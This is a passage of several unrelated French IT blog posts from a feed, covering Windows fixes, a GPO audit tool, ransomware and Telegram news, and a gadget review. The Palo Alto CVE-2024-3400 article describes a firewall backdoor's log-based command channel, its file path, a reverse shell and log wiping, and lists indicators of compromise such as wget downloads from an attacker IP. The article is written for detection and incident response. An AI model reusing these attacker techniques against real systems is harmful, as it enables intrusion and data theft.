• Vérifier le matériel de son ordinateur avec Ubuntu
• Live USB Malekal
• Live USB MediCat

Les deux derniers Live USB embarquent le logiciel CrystalDiskInfo pour vérifier l’état des disques à travers la technologie S.M.A.R.T.
Pour Ubuntu, suivez le tutoriel fourni ci-dessus.

Réinstaller Windows 10

Vous pouvez réinitialiser le PC depuis les options de récupération. Vous avez la possibilité de conserver les données personnelles mais il faudra réinstaller vos applications.
Pour ce faire, choisissez l’option “Réinitialiser ce PC” depuis les options de récupération.

Si la réinitialisation de Windows 10, est impossible (blocage, plantage, etc), la seule solution est de réinstaller Windows 10 avec une clé USB.
Aidez-vous de ces tutoriels :

• Réinstaller Windows 10 proprement (clean install)
• Comment installer Windows 10 : le tutoriel COMPLET

L’article Mon PC s’allume mais ne démarre pas en Windows 10 est apparu en premier sur malekal.com.

Nexperia, un important fabricant de semi-conducteurs néerlandais, a été victime d'une cyberattaque par ransomware lors de laquelle les pirates sont parvenus à exfiltrer des données de l'entreprise. Voici ce que l'on sait sur cet incident de sécurité !

Établie aux Pays-Bas, l'entreprise Nexperia est un fabricant de semi-conducteurs présents dans le monde avec 15 000 employés répartis en Europe, aux États-Unis et en Asie. L'entreprise Nexperia fabrique et expédie plus de 100 milliards de produits par an, et elle réalise un chiffre d'affaires annuel de plus de 2,1 milliards de dollars.

Vendredi 12 avril 2024, un communiqué de presse a été publié par Nexperia afin de confirmer publiquement qu'un groupe de cybercriminels était parvenu à s'introduire sur certains serveurs. Cette intrusion a eu lieu en mars 2024 et dès qu'elle a été détectée, les équipes de Nexperia sont intervenues : "Nous avons rapidement pris des mesures et déconnecté les systèmes concernés de l'internet afin de contenir l'incident et de mettre en œuvre des mesures d'atténuation importantes."

En parallèle, Nexperia a ouvert une enquête dans le but d'identifier la nature et les conséquences exactes de l'incident. Les investigations sont menées en collaboration avec une équipe de spécialistes de chez FoxIT, sollicités en réponse à cet incident.

1 To de données dans la nature ?

Le 10 avril 2024, le site d'extorsion "Dunghill Leak" a annoncé le vol de 1 To de données confidentielles sur les serveurs de Nexperia. Si la rançon n'est pas payée par le fabricant néerlandais, Dunghill menace de publier les données (ou de les revendre à un tiers malveillant) suivantes :

• 371 Go de données sur la conception et les produits, y compris le contrôle de qualité, les accords de confidentialité, les secrets commerciaux, les spécifications techniques, les schémas confidentiels et les instructions de production.
• 246 Go de données d'ingénierie, dont des documents correspondants à des études internes et des technologies de fabrication.
• 96 Go de données commerciales et de marketing, y compris des analyses de prix.
• 41,5 Go de données liées aux ressources humaines, aux données personnelles des employés, avec notamment des copies de passeports de salariés.
• 109 Go de données de clients et d'utilisateurs, parmi lesquelles des marques comme SpaceX, IBM, Apple et Huawei.
• 121,1 Go de fichiers et de données diverses, dont des fichiers relatifs aux e-mails.

En guise de preuves, une partie des données a été divulguée par Dunghill : des images de composants électroniques scannés au microscope, des passeports d'employés et des accords de non-divulgation. Pour le moment, Nexperia ne s'est pas exprimé au sujet de ces documents.

Source

The post Le fabricant de semi-conducteurs Nexperia victime d’une cyberattaque par ransomware ! first appeared on IT-Connect.

I. Présentation

En environnement Active Directory, les stratégies de groupe jouent un rôle dans l'administration et la sécurisation des postes de travail et des serveurs. Néanmoins, au fil des années, elles sont susceptibles de s'accumuler et l'équipe IT peut finir par perdre le contrôle sur leurs GPO et ne plus avoir une bonne visibilité sur le rôle de chacune d'elle... Au point, de se retrouver avec des GPO en double, des GPO vides, des GPO avec des permissions incorrectes, ou tout simplement des GPO mal configurées. D'ailleurs, tôt ou tard, ceci pourrait être à l'origine d'un problème avec l'une de vos stratégies de groupe...

Nous pouvons dire que l'administration des GPO est un véritable défi, surtout quand elles sont nombreuses et gérées par plusieurs personnes. Dans ce tutoriel, nous allons découvrir l'outil GPOZaurr, qui pourra vous venir en aide puisque ce module PowerShell va analyser l'intégralité de vos GPO et vous générer un joli rapport que vous pourrez ensuite analyser.

Il sera d'une aide précieuse à celles et ceux qui ont la volonté de faire du tri dans leurs GPO, mais également si vous cherchez à investiguer sur un problème de stratégies de groupe. Nous pourrions même dire que GPOZaurr permet de faire un audit des GPO. En complément, vous pouvez lire cet article :

• Cliquez ici pour regarder la vidéo sur YouTube

• Tutoriel - Ma GPO ne fonctionne pas : 14 pistes et conseils pour s'en sortir !

II. Les vérifications effectuées par GPOZaurr

Lorsque nous allons exécuter un audit avec GPOZaurr, l'outil va vérifier près d'une vingtaine de points de configuration et anomalies potentielles. Par exemple :

• Détection des GPO "cassées", c'est-à-dire des GPO qui sont présentes dans l'Active Directory mais qui ne sont plus dans SYSVOL, ou inversement. Ceci crée des GPO orphelines qui ne fonctionneront pas.
• Détection des liens de GPO "cassés, c'est-à-dire que la GPO a été supprimée, mais qu'une ou plusieurs liaisons n'ont pas été correctement supprimés.
• Détection des problèmes et des incohérences sur les permissions de GPO.
• Détection des GPO dupliquées.
• Détection des GPO vides.
• Détection des GPO avec une section désactivée alors qu'il y a des paramètres configurés
• Détection des mots de passe dans les GPO.
• Inventorier tous les fichiers présents dans le SYSVOL, ce qui permettra de faciliter la détection de fichiers inutiles et/ou malveillants.
• Inventorier toutes les unités d'organisation dont l'héritage est bloqué et vérifier le nombre d'utilisateurs ou d'ordinateurs concernés.
• Catégorisation des GPO, en fonction des paramètres configurés.
• Vérification des autorisations sur le partage NetLogon.
• Détection de fichiers ADM (legacy) dans le SYSVOL.

Il fournira aussi un rapport complet sur l'ensemble de vos GPOs permettant d'identifier les GPO vides, non liées, appliquées, désactivées, sans filtrage de sécurité, etc...

Vous pouvez retrouver le projet GPOZaurr sur GitHub :

• GitHub - GPOZaurr

III. Installer GPOZaurr

Tout d'abord, ouvrez une console PowerShell sur votre machine et installez le module GPOZaurr :

Install-Module -Name GPOZaurr

Vous devez savoir que GPOZaurr va également installer les modules PSWriteHTML, ADEssentials, PSSharedGoods, PSWriteColor, car ce sont des prérequis à son fonctionnement. D'ailleurs, c'est le même développeur principal derrière ces différents modules, et vous connaissez peut-être déjà l'excellent module PSWriteHTML.

Si l'installation ne passe pas avec la commande ci-dessus, réessayez avec celle-ci :

Install-Module -Name GPOZaurr -AllowClobber -Force

Par ailleurs, GPOZaurr nécessite l'installation des outils RSAT pour l'Active Directory et la console de "Gestion des stratégies de groupe" pour être en mesure d'effectuer l'analyse de votre environnement. Ces consoles sont présentes sur les serveurs contrôleurs de domaine Active Directory et peuvent être installées sur un serveur ou poste de travail d'administration.

IV. Générer un rapport avec GPOZaurr

Une fois que GPOZaurr est installé, vous pouvez l'exécuter via le cmdlet "Invoke-GPOZaurr" pour qu'il effectue une analyse de vos GPO.

Remarque : vous devez l'exécuter avec un compte Administrateur pour que l'ensemble des points puissent être vérifiés. A partir d'un compte utilisateur standard, certaines informations pourront être récupérées, mais l'analyse sera partielle.

Invoke-GPOZaurr

Sans aucun paramètre, GPOZaurr va effectuer une analyse complète des stratégies de groupe de votre domaine Active Directory. Ainsi, sur un domaine avec plusieurs milliers de GPO, l'analyse peut durer plusieurs heures. Sur mon Lab, où il y a un peu moins de 100 GPO, l'analyse est relativement rapide puisqu'elle nécessite environ 2 minutes.

Si vous souhaitez effectuer une analyse uniquement sur certaines catégories ou certaines anomalies, sachez que ce cmdlet intègre un paramètre nommé "-Type" qui vous permettra de spécifier le périmètre de l'analyse.

Invoke-GPOZaurr -Type <Nom du rapport>
# Exemple n°1 :
Invoke-GPOZaurr -Type GPOBroken
# Exemple n°2 :
Invoke-GPOZaurr -Type GPOBroken,GPOPermissions

Voici la liste des valeurs disponibles :

Par ailleurs, le paramètre "-FilePath" vous offre la possibilité de nommer le rapport comme vous le souhaitez et de le stocker dans le répertoire de votre choix. Sinon, par défaut, ce sera dans le répertoire temporaire de l'utilisateur utilisé pour lancer l'analyse. L'exemple ci-dessous vous permettra d'intégrer la date et l'heure dans le nom du rapport.

Invoke-GPOZaurr -FilePath "C:\TEMP\GPOZaurr_$(Get-Date -Format yyyyMMdd-hhmm).html"

V. Découverte du rapport de GPOZaurr

Le rapport s'ouvrir sur votre machine dès lors que l'analyse est terminée. La partie supérieure du rapport contient un ensemble d'onglets, ce qui permet de naviguer dans les différentes catégories. Chaque onglet contient une zone qui décrit ce qui a été analysé, un graphique, ainsi qu'un tableau récapitulatif avec le statut de vos GPO.

Chaque sous-rapport peut être exporté au format Excel, CSV ou PDF. De plus, vous pouvez effectuer des recherches sur chaque colonne d'un tableau afin de filtrer les résultats rapidement.

Pour avoir une vue d'ensemble de vos GPO, cliquez sur l'onglet "Group Policy Summary". Il offre un aperçu global sur l'ensemble de vos GPO avec quelques indicateurs clés (oui/non) : GPO vide, GPO activée, GPO optimisée, GPO avec un problème, GPO liée, etc.

En complément, si vous basculez sur l'onglet "Group Policy Content", vous pourrez constater que GPOZaurr a organisé vos GPO par catégorie. Par exemple, la catégorie "Audit" permet de voir toutes les GPO qui permettent de configurer des paramètres de stratégies d'audit.

Chaque onglet contient des informations intéressantes et qui pourront s'avérer plus ou moins utiles et pertinentes selon le contexte dans lequel vous utilisez GPOZaurr. Si vous passez sur l'onglet "SYSVOL (NetLogon) Files List", vous pourrez visualiser l'ensemble des fichiers détectés dans le partage SYSVOL. Ce sera aussi l'occasion de voir si ces fichiers sont liés à une GPO, ou pas.

GPOZaurr est également capable de corriger les problèmes à votre place, grâce à un processus étape par étape où l'outil vous fournit les commandes PowerShell à exécuter pour faire le nécessaire. À chaque fois que vous changez d'onglet, les étapes de remédiation sont adaptées en fonction du contexte. Néanmoins, je vous recommande de corriger les problèmes vous-même et d'utiliser GPOZaurr uniquement pour vous faciliter le travail d'analyse. Même rien ne vous empêche de vous inspirer de la solution proposée, mais l'objectif étant de limiter les effets indésirables...

VI. Conclusion

J'ai découvert GPOZaurr récemment, et c'est bien dommage.... Il aurait pu me rendre bien des services pour investiguer sur des problèmes de GPO, générer un rapport complet sur les GPO pour un audit ou encore pour effectuer du tri dans les GPO. J'espère que cet article vous donnera envie de l'utiliser et de l'ajouter à votre boite à outils !

En complément de cet article, vous pouvez lire celui rédigé par l'auteur de ce module (en anglais) :

• Evotec.xyz - GPOZaurr

The post GPOZaurr, l’outil ultime pour analyser vos stratégies de groupe first appeared on IT-Connect.

L’écran bleu VIDEO_MEMORY_MANAGEMENT_INTERNAL est une erreur fatale de Windows avec comme valeur 0x0000010E.
Généralement, cela se produit lors d’un comportement incorrect d’un pilote vidéo.

Si vous rencontrez ce problème, voici plusieurs solutions que vous pouvez appliquer afin de corriger cet écran bleu.

Quelles sont les causes de l’écran bleu VIDEO MEMORY MANAGEMENT INTERNAL

Comme les mots vidéo et memory du code d’arrêt l’indiquent, il s’agit dans la plupart des cas, d’un problème lors de la lecture ou l’écriture de données dans la mémoire de la carte graphique (mémoire VRAM).
Cela peut avoir plusieurs sources. Voici les principales sources de ce problème de stabilité de Windows :

• Pilotes graphiques obsolètes ou corrompus : Les pilotes graphiques sont responsables de la gestion de la mémoire vidéo de votre système. Des pilotes graphiques obsolètes, corrompus ou incompatibles peuvent entraîner des erreurs de gestion de la mémoire vidéo, y compris l’écran bleu VIDEO_MEMORY_MANAGEMENT_INTERNAL
• Problèmes matériels : Des problèmes matériels tels que des barrettes de mémoire défectueuses, une carte graphique endommagée ou un problème de connexion entre la carte graphique et la carte mère peuvent également provoquer cette erreur. Cela peut aussi se produire si vous venez de remplacer la carte graphique et que votre alimentation est trop petite
• Surchauffe du matériel : Une surchauffe du processeur, de la carte graphique ou d’autres composants matériels peut entraîner des erreurs de gestion de la mémoire vidéo. Une ventilation insuffisante ou une accumulation de poussière dans le boîtier de l’ordinateur peuvent aggraver ce problème
• Logiciels malveillants : Les logiciels malveillants peuvent corrompre les fichiers système, y compris les pilotes graphiques, ce qui peut entraîner des erreurs de gestion de la mémoire vidéo
• Problèmes de mise à jour Windows : Des problèmes lors de la mise à jour de Windows peuvent entraîner des incompatibilités avec les pilotes graphiques ou d’autres composants du système, ce qui peut provoquer des erreurs de gestion de la mémoire vidéo. Une vérification Malwarebytes Anti-Malware suffit

Comment résoudre le BSOD VIDEO MEMORY MANAGEMENT INTERNAL

Vérifier les fichiers systèmes manquants et endommagés

Pour réparer les fichiers systèmes de Windows 10 ou Windows 11, on utilise les utilitaires SFC (vérificateur de fichiers systèmes) et DISM.
Ces deux outils s’utilisent en invite de commandes.

• Ouvrez une invite de commandes :
  • Comment ouvrir une invite de commandes sur Windows 10
  • Comment ouvrir Windows Terminal sur Windows 11
• Ensuite on peut utiliser DISM pour réparer les images de Windows 10/11. Pour cela, utilisez la commande suivante :

Dism /Online /Cleanup-Image /CheckHealth

• Puis enchaînez avec une vérification et réparation des fichiers corrompus et manquants avec l’outil SFC. Pour cela, saisissez :

sfc /scannow

Laisse le vérificateur de fichiers systèmes analyser Windows 10 ou Windows 11.
Enfin si des fichiers systèmes sont corrompus, SFC tente de les réparer.

Plus de détails dans l’article suivant :

Réinstaller proprement les pilotes graphiques

Les pilotes de la carte graphique peuvent buguer ce qui provoque des plantages systèmes (BSOD, freez complet, …).
Lorsque cela arrive, il faut réinstaller proprement la dernière version des pilotes graphiques.

Commencez par un nettoyage avec Display Driver Uninstaller :

Puis téléchargez et installez les pilotes de la carte vidéo :

• AMD Radeon : Mettre à jour les pilotes carte graphique
• NVIDIA : Mettre à jour les pilotes de la carte graphique
• Intel HD Graphics : installer/mettre à jour les pilotes

Quand cela est fait, vérifiez si les écrans bleus VIDEO MEMORY MANAGEMENT INTERNAL sont résolus.

Vérifier la température de l’ordinateur

Des surchauffes du PC et notamment de la carte vidéo peuvent provoquer des plantages.
C’est un élément important à vérifier pour résoudre l’écran bleu VIDEO MEMORY MANAGEMENT INTERNAL.
Vous pouvez vérifier les températures du GPU avec plusieurs logiciels comme Speccy, HWMonitor ou HWiNFO.
Utilisez votre ordinateur normalement en surfant, en lançant des vidéos YouTube. La température de la carte graphique ne doit pas dépasser les 65 degrés.
Si elle va au delà, il faut nettoyer l’intérieur de votre ordinateur, pour cela suivez ce guide complet : Comment nettoyer l’intérieur de son PC et le dépoussiérer

Mettre à jour le BIOS du PC

Dans de rares cas, un bug du BIOS peut être à l’origine des écrans bleus.
Cela est souvent le cas sur des PC neufs.
Pour résoudre cela, il faut mettre à jour le BIOS du PC. Pour y parvenir, suivez ce guide :

Restaurer Windows

Pour résoudre les problèmes logiciels à l’origine des BSOD, vous pouvez tenter de restaurer Windows.
L’objectif est de revenir à un point de restauration antérieure pour annuler des modifications récentes qui peuvent être à l’origine d’instabilités du système.

• Sur votre clavier, appuyez sur la touche + R
• Dans la fenêtre exécuter, copiez/collez : rstrui.exe
• Puis cliquez sur OK

• Faites suivant et sélectionnez un point de restauration système antérieur au problème rencontré
• Cliquez sur Suivant et laissez vous guider pour terminer la restauration du système

Plus de détails :

• Comment restaurer Windows 10 : les étapes pas à pas
• Restaurer Windows 11 à une date antérieure : toutes les étapes

Vérifier la présence de problèmes matériels

Pour tester l’hypothèse d’un problème matériel, vous pouvez tester le fonctionnement de votre ordinateur sur un Live USB.
Le but est de vérifier si le PC plante aussi.

• Comment télécharger et créer un Live USB Ubuntu
• Live USB Malekal
• Live USB MediCat

Si le PC plante, consultez un professionnel en informatique pour un diagnostic plus approfondi et des réparations matérielles si nécessaire.
Si par contre le PC est stable, tentez de réparer ou de le réinitialiser :

• Réparer Windows 10 sans perte de données
• Réparer Windows 11 sans perte de données

L’article Résoudre l’écran bleu VIDEO MEMORY MANAGEMENT INTERNAL est apparu en premier sur malekal.com.

HashiCorp changed Terraform's license from open source to Business-Source License (BSL). Soon after, the open-source fork OpenTofu became available. OpenTofu is an infrastructure-as-code (IaC) tool that allows you to define and manage your infrastructure in configuration files. In this post, I demonstrate with a practical example how to create an EC2 instance in AWS with OpenTofu.

Votre PC est sous Windows et vous utilisez l'application Telegram pour ce système d'exploitation ? Alors, sachez que Telegram a effectué une modification pour vous protéger d'une nouvelle faille de sécurité zero-day.

Telegram a corrigé une faille de sécurité zero-day pour protéger les utilisateurs de son application bureau pour Windows. En l'exploitant, un attaquant peut contourner les mécanismes de protection et exécuter des scripts Python sur la machine cible. In fine, ceci permettrait d'exécuter du code à distance sur la machine de l'utilisateur qui utilise une version vulnérable de l'application Telegram, même si cela implique une interaction de la part de l'utilisateur.

Une démonstration de l'exploitation de cette vulnérabilité a été publiée sur le réseau social X. Telegram a d'abord indiqué qu'il s'agissait d'un canular. Mais, le lendemain, un exploit PoC a été publié sur le forum de piratage XSS pour montrer qu'il était possible d'exécuter des scripts Python ayant l'extension ".pyzw" sur Windows, par l'intermédiaire de l'application Telegram. Ainsi, un attaquant pourrait utiliser l'icône d'une vidéo pour inciter l'utilisateur à cliquer sur un lien dans le but d'exécuter le script malveillant.

En principe, l'application Telegram devrait déclencher un avertissement pour "bloquer" l'exécution de ce type de fichiers, mais là ce n'est pas le cas. Précisons également que Python doit être installé sur l'ordinateur de l'utilisateur pour que le script soit exécuté, ce qui fait une condition supplémentaire.

Finalement, Telegram a reconnu l'existence de cette vulnérabilité et a pris la décision de la corriger. Toutefois, le correctif a été implémenté du côté des serveurs Telegram, donc les utilisateurs n'ont rien à faire : il n'y a aucune mise à jour installer. "Un correctif côté serveur a été appliqué pour s'assurer que ce problème ne se reproduise plus, de sorte que toutes les versions de Telegram Desktop (y compris les plus anciennes) n'ont plus ce problème.", a précisé Telegram.

En fait, Telegram s'appuie sur une liste d'extensions correspondante à tous les fichiers "à risques" et potentiellement malveillants. Celle-ci permet d'indiquer à l'application Telegram quand elle doit afficher l'avertissement de sécurité.

Source

The post Telegram a corrigé une faille de sécurité zero-day dans son application pour Windows first appeared on IT-Connect.

Dimanche 14 avril 2024, Palo Alto Networks a tenu sa promesse en mettant en ligne des premiers correctifs pour corriger la nouvelle faille de sécurité critique (CVE-2024-3400) découverte dans le système PAN-OS de ses firewalls. D'autres correctifs sont attendus dans les prochains jours. Faisons le point.

Rappel sur la CVE-2024-3400

Le système PAN-OS, qui équipe les firewalls de l'entreprise Palo Alto Networks, est affectée par une faille de sécurité critique (CVE-2024-3400) associée à un score CVSS de 10 sur 10 ! C'est une vulnérabilité de type "injection de commande" et elle a été découverte dans la fonction GlobalProtect du système PAN-OS.

Désormais, des correctifs sont disponibles pour certaines versions de PAN-OS. Sinon, sans ce correctif, pour vous protéger, vous devez désactiver la télémétrie sur votre firewall, ou activer la protection contre la menace avec l'ID 95187 dans la fonction "Threat Prevention".

Il est important de rappeler également qu'il y a des tentatives d'exploitation de cette faille de sécurité depuis le 26 mars 2024. Les pirates l'utilisent pour déployer une porte dérobée sur le firewall Palo Alto, et ensuite, essaient de pivoter vers le réseau interne de l'entreprise.

Pour en savoir plus, et connaitre les versions de PAN-OS impactées, lisez nos articles sur cette alerte de sécurité :

• Firewalls Palo Alto : cette faille de sécurité zero-day non corrigée est déjà exploitée dans des attaques !
• Palo Alto : la faille de sécurité CVE-2024-3400 exploitée depuis mars 2024 pour déployer une porte dérobée !

Les correctifs de sécurité pour la CVE-2024-3400

Les firewalls Palo Alto qui exécute les versions suivantes de PAN-OS sont potentiellement vulnérables : PAN-OS 10.2, 11.0 et 11.1. Désormais, l'éditeur a mis en ligne des correctifs de sécurité et il a mis à jour son bulletin de sécurité.

Pour le moment, trois correctifs de sécurité sont disponibles :

• PAN-OS 10.2.9-h1
• PAN-OS 11.0.4-h1
• PAN-OS 11.1.2-h3

Dans les prochains jours, d'autres correctifs sont attendus. Voici un tableau récapitulatif :

Version	Date de publication du correctif
10.2.8-h3	15/04/2024
10.2.7-h8	15/04/2024
10.2.6-h3	15/04/2024
10.2.5-h6	16/04/2024
10.2.4-h16	19/04/2024
10.2.3-h13	17/04/2024
10.2.1-h2	17/04/2024
10.2.2-h5	18/04/2024
10.2.0-h3	18/04/2024
11.0.3-h10	15/04/2024
11.0.2-h4	16/04/2024
11.0.1-h4	17/04/2024
11.0.0-h3	18/04/2024
11.1.1-h1	16/04/2024
11.1.0-h3	17/04/2024

Par ailleurs, rappelons deux choses :

• L'exploitation de la vulnérabilité dépend de la configuration du firewall : "Ce problème s'applique uniquement aux pare-feu PAN-OS 10.2, PAN-OS 11.0 et PAN-OS 11.1 avec les configurations de la passerelle GlobalProtect et la télémétrie de l'appareil activées.", précise Palo Alto.
• Cette vulnérabilité affecte uniquement le système PAN-OS, donc certaines versions spécifiques comme Cloud NGFW et Prisma Access ne sont pas impactées.

Si vous avez besoin d'aide pour installer la mise à jour, référez-vous à la documentation officielle de Palo Alto, notamment cette page.

The post Firewalls Palo Alto – CVE-2024-3400 : les premiers correctifs de sécurité sont disponibles ! first appeared on IT-Connect.

Les dernières nouvelles au sujet de la CVE-2024-3400 ne sont pas bonnes : depuis le 26 mars 2024, un groupe de pirates exploite cette faille de sécurité zero-day présente dans le système PAN-OS des firewalls Palo Alto pour déployer une porte dérobée et s'introduire dans le réseau interne des organisations dont le matériel a été compromis.

Rappel sur la CVE-2024-3400

Le système PAN-OS, qui équipe les firewalls de l'entreprise Palo Alto Networks, est affectée par une faille de sécurité critique (CVE-2024-3400) associée à un score CVSS de 10 sur 10 ! C'est une vulnérabilité de type "injection de commande" et elle a été découverte dans la fonction GlobalProtect du système PAN-OS.

Un correctif est attendu pour ce dimanche 14 avril, mais à l'heure où ces lignes sont écrites, le correctif n'a pas encore été publié par Palo Alto Networks. En attendant, pour vous protéger, vous devez désactiver la télémétrie sur votre firewall, ou activer la protection contre la menace avec l'ID 95187 dans la fonction "Threat Prevention".

Pour en savoir plus, et connaitre les versions de PAN-OS impactées, lisez cet article publié vendredi dernier sur notre site :

• Firewalls Palo Alto : cette faille de sécurité zero-day non corrigée est déjà exploitée dans des attaques !

Une première tentative d'exploitation le 26 mars 2024

Dans son bulletin de sécurité, Palo Alto évoque le fait que cette vulnérabilité a déjà été exploitée par les cybercriminels, sans donner plus de précisions : "Palo Alto Networks a connaissance d'un nombre limité d'attaques qui exploitent cette vulnérabilité".

Néanmoins, si nous regardons ce rapport publié par la société Volexity, à l'origine de la découverte de cette vulnérabilité critique, nous apprenons qu'elle a été exploitée pour la première fois en mars 2024 : "La première preuve de tentative d'exploitation observée par Volexity jusqu'à présent remonte au 26 mars 2024, lorsque les attaquants ont semblé vérifier que l'exploitation fonctionnait correctement." - Le jour suivant, une autre tentative a été repérée par Volexity, puis, les pirates ont attendu le 10 avril 2024 pour déployer un payload.

L'acteur malveillant à l'origine de cette tentative d'exploitation est suivi par Veloxity sous le nom de UTA0218, et d'après eux, il est fort probable que ce soit un groupe de pirates sponsorisés par un État.

"Volexity estime qu'il est très probable que UTA0218 soit un acteur de menace soutenu par un État, compte tenu des ressources nécessaires pour développer et exploiter une vulnérabilité de cette nature, du type de victimes ciblées par cet acteur et des capacités affichées pour installer la porte dérobée Python et accéder aux réseaux des victimes", peut-on lire.

Une porte dérobée déployée, mais pas uniquement...

L'implant principal, appelé "Upstyle", correspond à une porte dérobée installée par l'intermédiaire d'un script Python associé à un fichier de configuration ("/usr/lib/python3.6/site-packages/system.pth"). Une fois que cette backdoor est déployée, les pirates peuvent l'exploiter pour exécuter des commandes sur le firewall compromis.

Comme le montre le schéma ci-dessous, les pirates transmettent les commandes à exécuter par l'intermédiaire de requêtes HTTP et ils génèrent volontairement une erreur. Ceci permet d'inscrire la requête, et donc la commande, dans le journal des erreurs du serveur Web du pare-feu. La porte dérobée va ensuite lire ce fichier journal et décoder la commande (base64) afin de l'exécuter.

En complément de la porte dérobée, d'autres payloads sont déployés sur le firewall : un reverse shell, un outil de suppression des logs, un outil pour exporter la configuration de PAN-OS ou encore l'outil de tunneling GOST.

Dans une attaque observée par Volexity, les pirates informatiques sont parvenus à pivoter vers le réseau interne et à voler différentes informations, parmi lesquelles la base de données Active Directory ("ntds.dit"), des journaux d'événements Windows, ou encore des données de navigateurs tels que Google Chrome et Microsoft Edge (identifiants et cookies).

Mon firewall Palo Alto a-t-il été compromis ?

Voilà une question que certains d'entre vous doivent se poser. Elle est légitime puisque cela fait plusieurs jours que cette vulnérabilité est exploitée par les cybercriminels et qu'il y a déjà eu plusieurs victimes.

Voici ce que nous dit Volexity :

"Il existe deux méthodes principales pour identifier la compromission d'un pare-feu concerné. La première méthode consiste à surveiller le trafic et l'activité du réseau émanant des dispositifs de pare-feu Palo Alto Networks. Volexity travaille toujours à la coordination avec Palo Alto Networks concernant la seconde méthode et ne la décrit donc pas pour l'instant.".

Au niveau des flux réseau, voici ce que vous devez vérifier dans les journaux :

- Vérifier si le pare-feu a effectué des requêtes "wget" vers Internet pour effectuer le téléchargement de ressources. En effet, les pirates utilisent cette commande pour récupérer des fichiers malveillants depuis leur serveur. Il s'agit de requête directe vers des adresses IP, notamment "172.233.228[.]93".

- Vérifier s'il y a eu des tentatives de connexions SMB et/ou RDP vers plusieurs systèmes de votre environnement, depuis l'appliance Palo Alto.

- Vérifier s'il y a eu des requêtes HTTP vers "worldtimeapi[.]org/api/timezone/etc/utc" à partir du pare-feu.

Nous vous tiendrons informés lorsque les correctifs seront mis en ligne.

Source

The post Palo Alto : la faille de sécurité CVE-2024-3400 exploitée depuis mars 2024 pour déployer une porte dérobée ! first appeared on IT-Connect.

I. Présentation

Imaginez un instant : vous êtes installé confortablement dans votre canapé, accompagné par deux coussins très confortables, un de chaque côté pour poser vos coudes, et un plateau pour accueillir votre ensemble clavier-souris préféré, voire même un ordinateur portable. C'est la promesse des produits de chez Nerdytec, et plus particulièrement du Couchmaster CYCON² !

Un produit à la fois innovant et étonnant qui va vous permettre de vous installer très confortablement dans votre canapé, que ce soit pour travailler, naviguer sur le Web, ou encore passer des heures à jouer sur votre TV, sans galérer avec votre matériel sur les genoux ou posé sur un support peu adapté.

Voici à quoi ressemble le Couchmaster CYCON² de chez Nerdytec :

Le Couchmaster CYCON² est ce que l'on pourrait appeler un plateau pour le gaming ou un support ergonomique pour jouer ou travailler depuis son canapé, et la marque allemande Nerdytec en a fait sa spécialité. Tous les produits sont imaginés en Allemagne, dans les locaux de Nerdytec, et le modèle que nous vous présentons aujourd'hui, c'est l'un des best-sellers de la marque !

Voici quelques caractéristiques à son sujet :

• 6 ports USB 3.0 (2 externes & 4 internes), y compris un port de chargement rapide externe
• Gestion optimisée des câbles
• Grille de ventilation : non
• Poches latérales pratiques pour différents accessoires (et votre snack)
• Distance intérieure maximale des coussins : 75 cm
• Dimensions des coussins (L x l x H) : 60 x 20 x 16 cm
• Dimensions du support (L x l x H) : 82 x 33 x 3 cm

En complément, vous pouvez consulter cette page :

• Fiche produit sur le site officiel de Nerdytec

II. Package et design

Lorsque j'ai reçu le colis, il n'était pas en parfait état et il semblait avoir souffert pendant le transport, mais heureusement, ce fut sans conséquence pour le matériel. À l'intérieur du carton, les coussins sont dans un plastique tandis qu'une seconde boite cartonnée contient le plateau et l'ensemble des accessoires.

À l'intérieur du carton, nous avons un guide avec les instructions d'installation, deux coussins latéraux, un plateau Nerdytec avec un hub USB 3.0 intégré, un tapis de souris gaming, un petit sac pour ranger votre souris, de la bande auto-grippante, un bloc d'alimentation et son câble, ainsi qu'un câble de connexion hub de 0,8 mètre et un câble d'extension USB 3.0 de 5 mètres. Autant vous dire qu'il y a tout ce qu'il faut pour s'installer confortablement !

Chaque coussin jouera le rôle d'un accoudoir, un peu comme ceux que l'on retrouve sur les canapés : à la fois ferme et confortable, car l'idée est bien de pouvoir poser son coude et une partie de l'avant-bras de chaque côté.

Chaque coussin est déhoussable, ce qui signifie que vous pouvez laver les housses en machine à 30 degrés. C'est un point positif.

Le plateau du Couchmaster inspire confiance et la qualité de fabrication est très bonne. Le design est tout de même travaillé, et chaque zone où vous allez poser votre poignée, le plastique laisse sa place à une texture plus agréable. Le tapis de souris gaming fournit avec le Couchmaster pourra être collé sur le plateau, soit à droite, soit à gauche, grâce au scotch double-face intégré au package. Sachez que ce plateau n'a pas d'éclairage ou d'éléments lumineux, ce qui sera peut-être perçu comme un point négatif pour certains.

Au centre, sur la partie supérieur du plateau, nous avons accès à deux ports USB-A pour connecter ce que l'on souhaite. Bien entendu, ces ports USB sont reliés à votre PC par l'intermédiaire du Hub USB intégré au Couchmaster.

Pour bien comprendre comment cela fonctionne, il convient de retourner le Couchmaster. Il y a deux compartiments accessibles de façon indépendante où l'on va retrouver différents ports USB, ainsi que le connecteur pour l'alimentation. En fait, pour faciliter la gestion des câbles et d'avoir plusieurs câbles qui trainent au sol dans votre salon, sachez que Nerdytec propose un système basé sur un seul câble spécialement conçu pour le Couchmaster CYCON² dans le but d'établir la connexion entre le PC et le Couchmaster en lui-même, tout en fournissant une alimentation électrique supplémentaire. Par ailleurs, ce câble est en deux parties donc vous pouvez facilement le déconnecter du Couchmaster sans avoir à ouvrir un compartiment.

Pour vous faire une idée plus précise des dimensions des coussins et du plateau, ainsi que l'espace maximal entre les deux coussins, voici un schéma proposé par la marque :

III. Utilisation au quotidien

Me voici en place avec mon ordinateur, installé confortablement sur le canapé, grâce aux coussins et au plateau du Couchmaster. Les coussins sont très confortables et agréables, et grâce à eux, cela devient facile de travailler (ou jouer) depuis son canapé, car nous sommes bien installés. Les coudes sont maintenus par les coussins, ce qui permet de se mettre à l'aise que ce soit pour utiliser un ordinateur portable ou un kit clavier et souris. Nous pouvons rester dans cette position plusieurs heures, sans ressentir de gêne.

Sans utiliser d'ordinateur fixe, j'ai tout de même fait quelques tests avec le système de gestion de câbles. Il me semble adapté à de nombreuses configurations et types de câbles, avec tout de même un point d'attention : je n'ai pas pu tester directement, mais compte tenu de la taille des trous pour faire passer les câbles, je pense qu'ils ne sont pas assez grands si vous avez un accessoire avec un câble ayant un noyau de ferrite.

